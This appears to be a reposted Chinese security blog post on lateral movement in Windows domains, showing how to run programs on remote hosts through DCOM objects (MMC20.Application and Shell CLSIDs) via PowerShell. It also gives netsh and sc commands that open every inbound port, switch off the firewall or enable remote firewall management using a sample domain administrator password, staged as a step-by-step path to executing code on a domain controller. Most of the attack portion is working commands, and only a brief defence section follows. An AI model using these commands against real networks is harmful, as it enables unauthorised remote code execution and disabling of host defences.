域渗透——利用 DCOM 在远程系统执行程序

发布于 2024-09-17 19:28:59 字数 9673 浏览 31 评论 0

layout: post title: 域渗透——利用 DCOM 在远程系统执行程序

0x00 前言

在以前的文章《在远程系统上执行程序的技术整理》整理过域环境下常用的程序执行方法:at、psexec、WMIC、wmiexec、smbexec 和 powershell remoting,这次将基于 Matt Nelson‏ @enigma0x3 的研究,详细介绍在域环境下使用 DCOM 执行程序的方法,分析相关攻防思路。

学习链接如下:

0x01 简介

本文将要介绍以下内容:

  • DCOM 使用介绍
  • 实际利用思路
  • 命令行配置防火墙的技巧
  • 防御思路

0x02 DCOM 使用介绍

相关基础知识暂略,关于 DCOM 的介绍可参考如下链接:

本节主要选取 Matt Nelson‏ @enigma0x3 博客中的主要利用方法进行复现

获得 DCOM 的程序列表:

powershell 代码:

Get-CimInstance Win32_DCOMApplication

注:

Get-CimInstance 只适用于 Powershell 3.0 及以上,Win7 默认为 2.0 不支持,可使用以下替代命令:

Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication

当然,直接使用 wmic 查询也可以,代码如下:

wmic /NAMESPACE:"\\root\CIMV2" PATH Win32_DCOMApplication  GET /all /FORMAT:list

powershell 对 WMI 的调用可使用 wmic 命令进行替换,详情可参考:https://3gstudent.github.io/Study-Notes-of-WMI-Persistence-using-wmic.exe

1、对本机测试

管理员权限,powershell 代码如下:

获得 "MMC20.Application" 支持的操作:

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))
$com.Document.ActiveView | Get-Member

如下图

Alt text

查看 ExecuteShellCommand 对应的参数说明:

$com.Document.ActiveView.ExecuteShellCommand

如下图

Alt text

ExecuteShellCommand 对应的参数具体含义可参考以下链接:https://msdn.microsoft.com/en-us/library/aa815396(v=vs.85).aspx

通过 ExecuteShellCommand 执行程序:

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")

2、对远程系统测试

测试环境:域环境

Client:关闭防火墙

Server:获得域主机内置帐户 administrator 的口令,可 net use 连接至 Client

Server 端管理员权限可选择执行如下 powershell 代码:

1.调用 MMC20.Application

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.0.2"))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")

操作如下图

Alt text

Clinet 端查看程序列表,启动的 calc.exe 用户名为 test2(Client 端当前登录用户为 a),如下图

Alt text

2.调用'9BA05972-F6A8-11CF-A442-00A0C90A8F39'

$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.0.2")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.item()
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)

Clinet 端查看程序列表,启动的 calc.exe 用户名为 a(同 Client 端当前登录用户名相同),如下图

Alt text

注:以上两种方式适用于 Win7-Win10

3.调用'C08AFD90-F2A1-11D1-8455-00A0C91F3880'

$com = [Type]::GetTypeFromCLSID('C08AFD90-F2A1-11D1-8455-00A0C91F3880',"192.168.0.2")
$obj = [System.Activator]::CreateInstance($com)
$obj.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)

注:该方法不适用于 Win7,适用于 Win10 和 Server2012 R2

0x03 实际利用思路

思路一:域环境未开启防火墙,直接使用

当然,需要获得域内置帐户 administrator 的口令

方法不再赘述

思路二:默认开启防火墙,本地修改配置关闭防火墙

这样,其他主机就可以远程操作该主机,可 分别 通过以下方式实现

1、通过配置入站规则支持 DCOM

命令行开启任意端口的代码如下:

netsh advfirewall firewall add rule name="any" protocol=TCP dir=in localport=any action=allow

注:DCOM 通信端口是由 RPC 动态分配,不固定,所以将入站端口规则设置为 any

添加后,防火墙高级功能面板能发现添加的入站规则,如下图

Alt text

2、关闭防火墙功能

Windows Firewall 对应的服务名为 mpssvc,使用 sc 命令可远程关闭防火墙服务,命令如下:

sc \\192.168.0.2 stop mpssvc

但关闭防火墙服务并不能关闭防火墙功能,需要使用如下命令关闭防火墙功能:

netsh advfirewall set currentprofile state off

注:补充开启防火墙功能的命令:

netsh advfirewall set currentprofile state on

3、通过防火墙配置文件设置入站规则

防火墙默认配置规则如下:

  • 阻止与规则不匹配的入站连接
  • 允许与规则不匹配的出站连接

如下图

Alt text

修改规则,允许与规则不匹配的入站连接,命令如下:

netsh advfirewall set currentprofile firewallpolicy allowinbound,allowoutbound

修改后,通过高级面板能够看到修改后的配置,如下图

Alt text

此时,防火墙状态报警,如下图

Alt text

还原防火墙配置的命令如下:

netsh advfirewall set currentprofile firewallpolicy blockinbound,allowoutbound

思路三:远程修改防火墙配置

可使用 netsh 远程配置防火墙规则,需要知道用户名密码,管理员权限执行如下命令:

netsh -r 192.168.0.2 -u TEST\administrator -p domain123! advfirewall set currentprofile firewallpolicy allowinbound,allowoutbound

注:对当前配置文件(即域配置文件):

netsh advfirewall set currentprofile settings remotemanagement enable

所有配置文件可以使用:

netsh advfirewall set allprofiles settings remotemanagement enable

报错如下:

An error occurred while attempting to connect to the remote computer. Make sure that the Windows Firewall service on the remote computer is running and configur ed to allow remote management, and then try your request again.

说明远程计算机不允许远程管理,远程计算机需要作如下设置:

允许 Windows 防火墙远程管理

默认不支持,选中打勾代表开启,如下图

Alt text

注:该操作可通过命令行实现,本地管理员权限执行:

netsh advfirewall set currentprofile settings remotemanagement enable

该功能打开后,其他主机可远程管理本机防火墙配置:

(管理员权限)

netsh -r 192.168.0.2 -u TEST\administrator -p domain123! advfirewall firewall add rule name="any" protocol=TCP dir=in localport=any action=allow

如下图

Alt text

综上,利用 DCOM 在域控远程执行程序的思路如下:

1、获取域控权限

包括域控内置帐户 administrator 的口令,如果域控防火墙关闭,可直接远程执行程序

注:如果想使用其他帐户远程连接,需要先通过 dcomcnfg.exe 进入 COM 安全,激活用户的远程启动和远程激活属性

2、预置后门

如果域控开启防火墙,无法直接使用 DCOM 远程执行,需要获得远程修改防火墙配置的权限,该权限可通过设置 允许 Windows 防火墙远程管理 (系统默认关闭)获得

该操作需要 3389 连接域控或是使用其他方法在域控主机上执行代码,管理员权限执行:

netsh advfirewall set currentprofile settings remotemanagement enable

3、远程打开端口

使用 netsh 远程修改域控防火墙规则,打开端口

netsh -r 192.168.0.2 -u TEST\administrator -p domain123! advfirewall firewall add rule name="any" protocol=TCP dir=in localport=any action=allow

4、远程执行

使用 net use 远程连接,接着执行如下 powershell 代码:

$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.0.2")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.item()
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)

注:选择使用 '9BA05972-F6A8-11CF-A442-00A0C90A8F39' ,执行程序的用户名为当前登录用户

5、远程恢复域控防火墙设置

netsh -r 192.168.0.2 -u TEST\administrator -p domain123! advfirewall firewall Delete rule name="any"

0x04 防御

针对利用 DCOM 远程执行程序,只要开启防火墙即可

也可禁用内置帐户 Administrator 对 COM 的远程启动和远程激活权限,命令如下:

dcomcnfg.exe

打开组件服务-我的电脑-属性-COM 安全-启动和激活权限-编辑默认值,如下图

Alt text

当然,通过抓包分析特征也是可以的

0x05 小结

本文对使用 DCOM 执行程序的方法作了利用分析,最后感谢 Matt Nelson‏ @enigma0x3 分享他的文章。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

明媚如初

暂无简介

文章
评论
544 人气
更多

推荐作者

櫻之舞

文章 0 评论 0

弥枳

文章 0 评论 0

m2429

文章 0 评论 0

野却迷人

文章 0 评论 0

我怀念的。

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文